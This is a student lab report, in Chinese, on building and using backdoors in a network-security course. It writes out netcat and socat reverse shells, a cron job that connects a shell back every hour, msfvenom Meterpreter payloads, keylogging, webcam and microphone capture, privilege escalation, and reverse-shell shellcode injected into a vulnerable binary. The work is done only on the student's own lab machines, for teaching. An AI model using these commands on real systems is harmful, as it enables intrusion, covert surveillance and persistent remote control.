zoukankan      html  css  js  c++  java
  • 2020-2021-2 网络对抗技术 20181318 Exp2 后门原理与实践

    一、实验目标

    通过使用netcat、socat获取主机操作Shell,以及MSF meterpreter的应用,深入了解后门的原理以及危害,进而提高自己的安全意识。

    二、熟悉基本工具

    1. NC或ncat

    • NC也叫作netcat或ncat,是一个底层工具,进行基本的TCP UDP数据收发。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。它常被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。

    • NC 的基础用法介绍
      -u 使用udp连接(不适用-u的话默认是使用tcp连接)
      -v 输出详细的连接产生的日志
      -n 不解析域名
      -l 绑定并侦听传入的连接(一般用于服务端)
      -c 通过/bin/sh 执行客户端参数过来的指令(通常使用方法为 -c bash)
      -w 设置连接超时时间

    • Win获得Linux shell

      • win主机输入ipconfig查看本机地址

      • win主机运行监听指令 ncat.exe -l -p 1318

      • Linux反弹连接win主机 nc 192.168.56.1 1318 -e /bin/sh

    • 连接成功,win成功获得Linux的shell

    • Linux获得Win Shell

      1. Linux运行监听指令

        • 首先查看kali虚拟机的ip地址

      • 运行监听指令nc -l -p 1318
      1. Windows反弹连接Linuxncat.exe -e cmd.exe 192.168.174.129 1318
      2. Linux下看到Windows的命令提示
    • 使用nc传输数据和文件

      1. 传输数据

        • Windows下监听1318端口,ncat.exe -l 1318
        • kali反弹连接到Windows的1318端口,nc 192.168.56.1 1318
        • 连接建立成功,双方可以相互传输数据

      1. 传输文件

        Linux向win传输文件

        • Windows下监听1318端口,并把接收到的数据保存到file1.out中,ncat.exe -l 1318 > file1.out

        • kali反弹连接到Windows的1318端口,并将file1.in文件传送过去。nc 192.168.56.1 1318 < file1.in

        • 连接建立成功,Win可以收到kali发来的文件。

        win向Linux传输文件

        • Linux下监听1318端口,并将接收到的数据保存到文件file1.txt中,nc -l -p 1318 > file1.txt

        • win反弹连接到Linux的1318端口,并将file1.txt传过去。ncat.exe 192.168.174.129 1318 < file1.txt

        • 连接建立成功,文件传输成功。

    2. socat

    • socat又称Netcat++,超级netcat工具,是nc的加强版
    • 任何代理、转发等功能都可以用该工具实现socat是ncat的增强版
    • 它的使用格式是。socat [options] <address> <address>其中两个address是必选项,而options 是可选项。address就类似于一个文件描述符,socat所做的工作就是在2个address指定的描述符间建立一个pipe用于发送和接收数据。

    3. cron

    • cron 是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动cron进程,cron进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
    • 由于Cron 是Linux的内置服务,但它不自动起来,可以用以下的方法启动、关闭这个服务:
      /sbin/service crond start //启动服务
      /sbin/service crond stop //关闭服务
    • cron服务提供crontab命令来设定cron服务的,以下是一些常用的命令说明:
      crontab -u //设定某个用户的cron服务,一般root用户在执行这个命令的时候需要此参数
      crontab -l //列出某个用户cron服务的详细内容
      crontab -e //编辑某个用户的cron服务

    注意:在第一次进行编辑时,会提醒我们选择编辑器,在这里我们选择3——vim

    • cron 的主配置文件是 /etc/crontab,文件中的每一行都代表一项任务,它的格式是:* * * * * command
      这个格式的前一部分是对时间的设定,后面一部分是要执行的命令,如果要执行的命令太多,可以把这些命令写到一个脚本里面,然后在这里直接调用这个脚本就可以了,调用的时候记得写出命令的完整路径。时间的设定我们有一定的约定,前面五个*号代表五个数字,数字的取值范围和含义如下:
      • minute — 分钟,从 0 到 59 之间的任何整数
      • hour — 小时,从 0 到 23 之间的任何整数
      • day — 日期,从 1 到 31 之间的任何整数(如果指定了月份,必须是该月份的有效日期)
      • month — 月份,从 1 到 12 之间的任何整数(或使用月份的英文简写如 jan、feb 等等)
      • dayofweek — 星期,从 0 到 7 之间的任何整数,这里的 0 或 7 代表星期日(或使用星期的英文简写如 sun、mon 等等)

    除了数字还可以使用如下几个特殊的符号:*:取值范围内的所有数字;/:每过多少个数字;-:从某个数字到某个数字;,:分开几个离散的数字

    4. Meterpreter

    • Meterpreter是MSF中的一个杀手锏,通常作为漏洞溢出后的攻击载荷所使用,攻击载荷在触发漏洞后能够返回给我们一个控制通道。Meterpreter是MSF的一个扩展模块,可以调用MSF的一些功能,对目标系统进行更为深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等等。

    • Meterpreter优点

      • 纯内存工作模式,不需要对磁盘进行任何写入操作
      • 使用加密通信协议,而且可以同时与几个信道通信
      • 在被攻击进程内工作,不需要创建新的进程
      • 易于在多进程之间迁移
      • 平台通用,适用于Windows、Linux、BSD系统,并支持Inter x86和Inter x64平台
    • Meterpreter基本用法

      • 在获得系统的Meterpreter会话之后,可以通过输入help查看帮助手册

      • 生成基于TCP的反向链接反弹shell

        msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=XXX -f exe > meter_backdoor.exe

        参数说明:

        • -p 使用的payload(有效载荷),就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
        • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
        • -e 使用的编码器,用于对shellcode变形,为了免杀。
        • -i 编码器的迭代次数。
        • -b badchar是payload中需要去除的字符。
        • LHOST 是反弹回连的IP
        • LPORT 是回连的端口
        • -f 生成文件的类型
      • 查看Meterpreter Shell的进程号:getpid

      • 获取运行Meterpreter会话的用户名:getuid

      • 获取系统信息:sysinfo

      • 对当前用户进行提权:getsystem

      • 获取目标机正在运行的进程:ps

      • 将当前的session放到后台运行,可以在msf中继续其他的渗透任务:background

      • 查看已经成功获取的会话:sessions

        • sessions -i ID:连接到执行ID的meterpreter会话已继续利用
      • 在目标机中执行文件或程序:execute

      • 在目标机中下载文件:download 目标文件路径 本地路径

      • 在目标机中上传文件:upload 源文件路径 目的文件路径

    三、基础问题回答

    1. 例举你能想到的一个后门进入到你系统中的可能方式?

      (1)从非官网下载软件后,安装时会附带很多捆绑软件,这其中可能就有后门程序。

      (2)网页挂马。点击某网页后,攻击者的代码被执行,然后下载并运行某木马程序,进而系统被植入后门。

      (3)社会工程学攻击。一个熟人给我们一个u盘(有恶意程序),当我们插入U盘时,电脑就被植入后门了。

    2. 例举你知道的后门如何启动起来(win及linux)的方式?

      Windows

      • 修改注册表项,实现开机自启动。
      • 在任务计划中创建新任务,定时启动后门。
      • 安装为服务(服务大多为自启动)
      • 后门植入正常程序,当我们执行该程序时,后门也被启动。
      • 与文件捆绑,当打开文件时,后门也执行。

      Linux

      • 使用cron,将后门设置为定时启动。
      • 反弹式连接到恶意主机,进而被恶意控制,启动后门。
      • 添加各种启动脚本。
      • 与其他文件捆绑。
    3. Meterpreter有哪些给你映像深刻的功能?

      • 可以获得目标机的shell,获取目标机的摄像头、音频、键盘记录、截图等。
      • 可以对当前用户进行提权。
      • 可以在目标机上上传/下载文件,执行程序。
    4. 如何发现自己有系统有没有被安装后门?

      • 检查注册表,查看是否有异常的自启动项。
      • 利用杀毒软件对计算机进行实时监控、检测。
      • 使用netstat命令查看是否有异常端口打开。

    四、实验内容

    任务一:使用netcat获取主机操作Shell,cron启动。

    1. windows 打开监听
    • 首先使用ipconfig获得主机的地址

    • 然后使用ncat.exe程序打开监听,我们设置监听端口为1318,输入ncat.exe -l -p 1318

    1. 使用cron添加命令,使得Linux反弹连接
    • 在kali虚拟机内执行crontab -e,在文件的最末尾添加5 * * * * /bin/netcat 192.168.56.1 1318 -e /bin/sh,意思是在每个小时的第5分钟反向连接Windows主机的1318端口

    • 每个小时的第5分钟,添加的那条指令就会执行,也就是说我们在Windows的命令行中可以获得Linux的shell,执行相关指令

    任务二:使用socat获取主机操作Shell, 任务计划启动。

    1. 在Windows中创建socat连接任务
    • 打开“计算机管理”,点击“任务计划程序”的“创建任务”,输入任务名称exp2
    • 选择触发器,新建一个,选择开始任务为:工作站锁定时
    • 选择操作,新建,在程序或脚本处选择本机socat.exe的下载位置。在添加参数一栏填写tcp-listen:1318 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1318,同时把cmd.exe的stderr重定向到stdout上。
    • 此时任务创建完成,可以看到它处于准备就绪状态。右击选择运行。
    1. 在Linux中利用socat连接被控主机(Windows),获取shell
    • 在Kali中输入指令socat - tcp:192.168.56.1:1318,即可发现已经成功获得了一个cmd命令行窗口。输入Windows下命令行的相关指令即可执行

    任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

    1. 在kali虚拟机上执行代码 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=1318 -f exe > 20181318_backdoor.exe,生成后门程序20181318_backdoor.exe。注意:这里LHOST的地址为kali机的地址。

    2. 使用nc将此后门程序传给Windows主机

      • Windows主机在ncat文件夹下执行ncat.exe -lv 1318 > 20181318_backdoor.exe,接收文件。-lv参数可以看到当前的连接状态。

      • 在kali机中执行nc 192.168.56.1 1318 < 20181318_backdoor.exe,发送文件。注意:此处的ip地址为Windows主机的ip。发送成功,连接状态如下图所示:

    1. 在Kali机上使用msfconsole指令进入msf控制台

    • 输入use exploit/multi/handler进入handler

    • 输入set payload windows/meterpreter/reverse_tcp设置连接(playload)

    • 输入set LHOST 192.168.174.129设置ip地址(Linux地址)

    • 输入set LPORT 1318设置端口号

    • 输入show options再次查看设置是否正确

    • 输入exploit打开监听

    • 说明:

      • LHOST需要和上一步生成20181318_backdoor.exe的一致,本例中即192.168.174.129;
      • LPORT也需要和上一步生成20181318_backdoor.exe的一致,即1318;
      • payload也要一致,即windows/meterpreter/reverse_tcp。

    1. 在Windows上双击20181318_backdoor.exe

      • 此时kali机获得win主机的反弹连接,并且获得了远程控制shell

    任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

    1. 获取音频

      在meterpreter中输入record_mic指令可以截获一段音频。-d选项可以设置录制时间。

    第2个音频设置了时间为10s。

    1. 获取摄像头

      输入webcam_snap指令可以使用摄像头进行拍照

    1. 获取键盘记录

      使用keyscan_start指令开始记录下击键的过程

      使用keyscan_dump指令读取击键的记录

    我在记事本中打印hello world!,在输入过程中,不小心输成了word,可以看到修改的过程也被清楚的记录下来。

    1. 获取截屏

      使用screenshot指令可以进行截屏

    1. 提权

      首先使用getuid指令查看当前用户

      使用getsystem指令进行提权

    从图中可以看到,提权失败。在讨论区看到老师的回答是:系统在不断的更新,所以旧的提权模块用不了是正常的。看到同学给出的解答是将后门程序的名字修改为install.exe即可提权,尝试后发现确实如此。截图如下:

    此时我发现,重命名前后,文件的图标发生了变化,多了一个管理员权限的标志。这是不是说明如果将后门程序的权限提到足够高,就算不重命名也可以提权呢?尝试结果如下:

    发现,提权成功!

    具体修改程序权限的步骤请看链接https://jingyan.baidu.com/article/0f5fb0990b14086d8234ea5c.html

    任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

    1. https://www.exploit-db.com/shellcodes网站上下载一份linux/x86平台的,反弹连接的shellcode。

      我们需要使用的code如下:

    按照实验1中的方法找到这段code的地址为0xffffd130

    1. 使用perl生成shellcode

      perl -e 'print "A" x 32;print"x30xd1xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_2

    2. MSF打开监听

      use exploit/multi/handler

      set payload linux/x86/shell_reverse_tcp

      set LHOST 127.0.0.1

      set LPORT 4444

    此处设置的LHOST与LPORT均是按照我们下载的shellcode文件的要求进行设置的。

    1. 新打开一个终端,运行运行注入shellcode后的pwn18。控制成功,获得kali机的sh

    参考学姐的博客时,发现msf可以自己根据程序生成可执行的后门。所以接下来采用此方法注入shellcode,获取反弹连接shell。

    1. 使用MSF生成与pwn1绑定的后门

      msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=1318 -x pwn1 -f elf > pwntest

      注意:-f 后面加上elf是因为pwn1的格式为elf

    2. MSF进入监听模式(步骤同任务三)
      use exploit/multi/handler

      set payload linux/x86/meterpreter/reverse_tcp

      set LHOST 127.0.0.1

      set LPORT 4444

    3. 在新的终端运行我们生成的pwntest

    此时会发现权限不够。输入命令chmod +x pwntest将其修改为可执行文件。

    1. 再次运行pwntest,发现成功获得反弹连接shell

    以下是符合老师要求的,用msf设置payload生成shellcode,然后注入pwn文件。

    1. 使用MSF生成shellcode
      msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.174.129 LPORT=1318 -f c
      image
    2. 按照实验一的做法去查找本段shellcode的地址(注意一定要关闭地址随机化)
      image

    可以得到code的地址为0xffffd130
    3. 使用perl生成shellcode
    perl -e 'print "A" x 32;print"x30xd1xffxffx31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80x93x59xb0x3fxcdx80x49x79xf9x68xc0xa8xaex81x68x02x00x05x26x89xe1xb0x66x50x51x53xb3x03x89xe1xcdx80x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1xb0x0bxcdx80"' > input1

    1. MSF打开监听

    use exploit/multi/handler

    set payload linux/x86/shell_reverse_tcp

    set LHOST 192.168.174.129

    set LPORT 1318

    show options

    exploit

    1. 注入shellcode到pwn文件中,成功获取shell

    (cat input1318;cat) | pwn18

    五、问题及解决

    1. 在任务一中,向Windows主机传输后门程序时,发现只传输过来了一个快捷方式。

    原因:Windows主机的杀软没有关闭,他将我们传递过来的后门程序自动拦截删除了。

    解决:关闭所有杀软和防火墙。

    1. 在任务二中,使用socat获取主机shell时,出现连接失败的错误。

    原因:任务计划创建后处于准备就绪的状态。

    解决:右击此任务,运行即可。

    1. 在将文件从win传到Linux时,提示报错:目标计算机积极拒绝,无法连接

    原因:应该先在Linux中输入指令nc -l -p 1318 < file1.txt;然后再执行win中的命令。

    1. 在做任务五时,MSF开启监听,另一个终端注入shellcode运行pwn1后,没有反应。

    原因:地址随机化未关闭,执行时shellcode的地址和我们用gdb反向查找时的地址已经不一样了,所以注入失败。
    解决:关闭pwn1的地址随机化。

    六、实验感想

    本次实验,通过ncat、socat、MSF meterpreter软件的使用,让我对后门有了一定的理解。后门也是一个程序,只不过这个程序相对于普通的程序来说比较赖皮,它可以嵌入到正常的程序中,获取控制权,进而做一些恶意行为。实验中的每一个任务,都让我亲身体会到了后门带给系统的危险。通过实验,感觉获取别人主机的shell似乎是so easy了,没想到之前在电影里看到的那些获取键盘记录、抓拍、录音等功能也都能通过后门来实现。任务四的最后一个提权,让我深刻的感受到网络啊中的危险不仅可以来自于外部,系统自身的漏洞也不可忽视。所以说尽管电脑上安装了杀软、开启了防火墙,但是这并不代表我们的计算机就是百分百的安全,所以我们一定要提高自己的安全意识,学习一些基础的防范措施,以备不时之需。

    这次实验让我了解了后门的基本原理,后续的免杀等实验一定会更有意思,也能带领我学到更多有关网络攻防的知识,我也会更加认真的做后续的相关实验的!

  • 相关阅读:
    基本MVVM 和 ICommand用法举例(转)
    WPF C# 命令的运行机制
    628. Maximum Product of Three Numbers
    605. Can Place Flowers
    581. Shortest Unsorted Continuous Subarray
    152. Maximum Product Subarray
    216. Combination Sum III
    448. Find All Numbers Disappeared in an Array
    268. Missing Number
    414. Third Maximum Number
  • 原文地址:https://www.cnblogs.com/jjy-666/p/14567417.html
Copyright © 2011-2022 走看看